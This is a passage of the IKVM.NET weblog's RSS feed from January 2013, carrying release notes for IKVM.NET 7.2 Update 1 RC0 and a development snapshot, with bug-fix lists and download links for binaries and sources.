      run into bugs in CLR's Type.Name and Type.Namespace).&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Restructured relocation writing to pack all relocation in a page
      in the same block, as WoA apparently requires this.&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Implemented ARM startup stub.&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Implemented ARM unmanaged exports.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-7.3.4764.zip"&gt;ikvmbin-7.3.4764.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=f44d069c-eb46-42f8-874f-f391d8dbce86"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=f44d069c-eb46-42f8-874f-f391d8dbce86</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=ea47497d-4a34-4b74-91ae-ac06d7fd4670</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=ea47497d-4a34-4b74-91ae-ac06d7fd4670</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=ea47497d-4a34-4b74-91ae-ac06d7fd4670</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=ea47497d-4a34-4b74-91ae-ac06d7fd4670</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      An updated release with a couple of bug fixes.
   </p>
        <p>
      Changes (relative to <a href="/PermaLink.aspx?guid=926e3554-259e-49a6-82fc-459fbd61ac19">7.2</a>):
   </p>
        <ul>
          <li>
         Bug fix. Don't deadlock AppDomain.ProcessExit event handler when the event gets called
         from another thread than the one initiating exit.</li>
          <li>
         Bug fix. Static compiler should not use proxy stubs to implement non-public interfaces
         in another assembly.</li>
          <li>
         Bug fix. Don't add duplicate methods to attribute annotation interfaces.</li>
          <li>
         Bug fix. Local variable analysis for finally blocks was incorrect. Fixes bug #<a href="https://sourceforge.net/tracker/?func=detail&amp;atid=525264&amp;aid=3600788&amp;group_id=69637">3600788</a>.</li>
        </ul>
        <p>
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-7.2.4630.6.zip">ikvmbin-7.2.4630.6.zip</a></p>
        <p>
      Sources: <a href="http://www.frijters.net/ikvmsrc-7.2.4630.6.zip">ikvmsrc-7.2.4630.6.zip</a>, <a href="http://www.frijters.net/openjdk-7u6-b24-stripped.zip">openjdk-7u6-b24-stripped.zip</a> 
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=ea47497d-4a34-4b74-91ae-ac06d7fd4670" />
      </body>
      <title>IKVM.NET 7.2 Update 1 Release Candidate 0</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=ea47497d-4a34-4b74-91ae-ac06d7fd4670</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=ea47497d-4a34-4b74-91ae-ac06d7fd4670</link>
      <pubDate>Tue, 15 Jan 2013 10:47:09 GMT</pubDate>
      <description>&lt;p&gt;
   An updated release with a couple of bug fixes.
&lt;/p&gt;
&lt;p&gt;
   Changes (relative to &lt;a href="/PermaLink.aspx?guid=926e3554-259e-49a6-82fc-459fbd61ac19"&gt;7.2&lt;/a&gt;):
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Bug fix. Don't deadlock AppDomain.ProcessExit event handler when the event gets called
      from another thread than the one initiating exit.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. Static compiler should not use proxy stubs to implement non-public interfaces
      in another assembly.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. Don't add duplicate methods to attribute annotation interfaces.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. Local variable analysis for finally blocks was incorrect. Fixes bug #&lt;a href="https://sourceforge.net/tracker/?func=detail&amp;amp;atid=525264&amp;amp;aid=3600788&amp;amp;group_id=69637"&gt;3600788&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-7.2.4630.6.zip"&gt;ikvmbin-7.2.4630.6.zip&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
   Sources: &lt;a href="http://www.frijters.net/ikvmsrc-7.2.4630.6.zip"&gt;ikvmsrc-7.2.4630.6.zip&lt;/a&gt;, &lt;a href="http://www.frijters.net/openjdk-7u6-b24-stripped.zip"&gt;openjdk-7u6-b24-stripped.zip&lt;/a&gt;&amp;nbsp;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=ea47497d-4a34-4b74-91ae-ac06d7fd4670"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=ea47497d-4a34-4b74-91ae-ac06d7fd4670</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=0422d02e-bd4a-4a06-ab4e-b59f4cca6a26</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=0422d02e-bd4a-4a06-ab4e-b59f4cca6a26</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=0422d02e-bd4a-4a06-ab4e-b59f4cca6a26</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=0422d02e-bd4a-4a06-ab4e-b59f4cca6a26</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      I've been busy with other stuff, but I did manage to fix a couple of bugs and add
      a new feature. So a new development snapshot.
   </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         .NET resources in non-Java assemblies are now exposed as Java resources.</li>
          <li>
         Added IKVM.Attributes.JavaResourceAttribute to publish .NET resource to Java under
         a different name.</li>
          <li>
         Bug fix. Don't deadlock AppDomain.ProcessExit event handler when the event gets called
         from another thread than the one initiating exit.</li>
          <li>
         Minor optimization. Only register the AppDomain.ProcessExit event handler when necessary.</li>
          <li>
         Bug fix. Private methods declared in map.xml should not be made virtual.</li>
          <li>
         Support "attributes" attribute on method tag in map.xml for methods declared in remapped
         types.</li>
          <li>
         Recognize methods in remapped types with the "__&lt;" name prefix as HideFromJava.</li>
          <li>
         Bug fix. Static compiler should not use proxy stubs to implement non-public interfaces
         in another assembly.</li>
          <li>
         IKVM.Reflection: Implemented __ContainsMissingType for function pointer types.</li>
          <li>
         IKVM.Reflection: Changed __ContainsMissingType to take custom modifiers into account.</li>
          <li>
         IKVM.Reflection: Added caching for __ContainsMissingType property to simplify the
         prevention of infinite recursion while evaluating generic parameter constraints.</li>
        </ul>
        <p>
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-7.3.4754.zip">ikvmbin-7.3.4754.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=0422d02e-bd4a-4a06-ab4e-b59f4cca6a26" />
      </body>
      <title>New Development Snapshot</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=0422d02e-bd4a-4a06-ab4e-b59f4cca6a26</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=0422d02e-bd4a-4a06-ab4e-b59f4cca6a26</link>
      <pubDate>Sun, 06 Jan 2013 08:51:23 GMT</pubDate>
      <description>&lt;p&gt;
   I've been busy with other stuff, but I did manage to fix a couple of bugs and add
   a new feature. So a new development snapshot.
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      .NET resources in non-Java assemblies are now exposed as Java resources.&lt;/li&gt;
   &lt;li&gt;
      Added IKVM.Attributes.JavaResourceAttribute to publish .NET resource to Java under
      a different name.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. Don't deadlock AppDomain.ProcessExit event handler when the event gets called
      from another thread than the one initiating exit.&lt;/li&gt;
   &lt;li&gt;
      Minor optimization. Only register the AppDomain.ProcessExit event handler when necessary.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. Private methods declared in map.xml should not be made virtual.&lt;/li&gt;
   &lt;li&gt;
      Support "attributes" attribute on method tag in map.xml for methods declared in remapped
      types.&lt;/li&gt;
   &lt;li&gt;
      Recognize methods in remapped types with the "__&amp;lt;" name prefix as HideFromJava.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. Static compiler should not use proxy stubs to implement non-public interfaces
      in another assembly.&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Implemented __ContainsMissingType for function pointer types.&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Changed __ContainsMissingType to take custom modifiers into account.&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Added caching for __ContainsMissingType property to simplify the
      prevention of infinite recursion while evaluating generic parameter constraints.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-7.3.4754.zip"&gt;ikvmbin-7.3.4754.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=0422d02e-bd4a-4a06-ab4e-b59f4cca6a26"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=0422d02e-bd4a-4a06-ab4e-b59f4cca6a26</comments>
    </item>
  </channel>
</rss>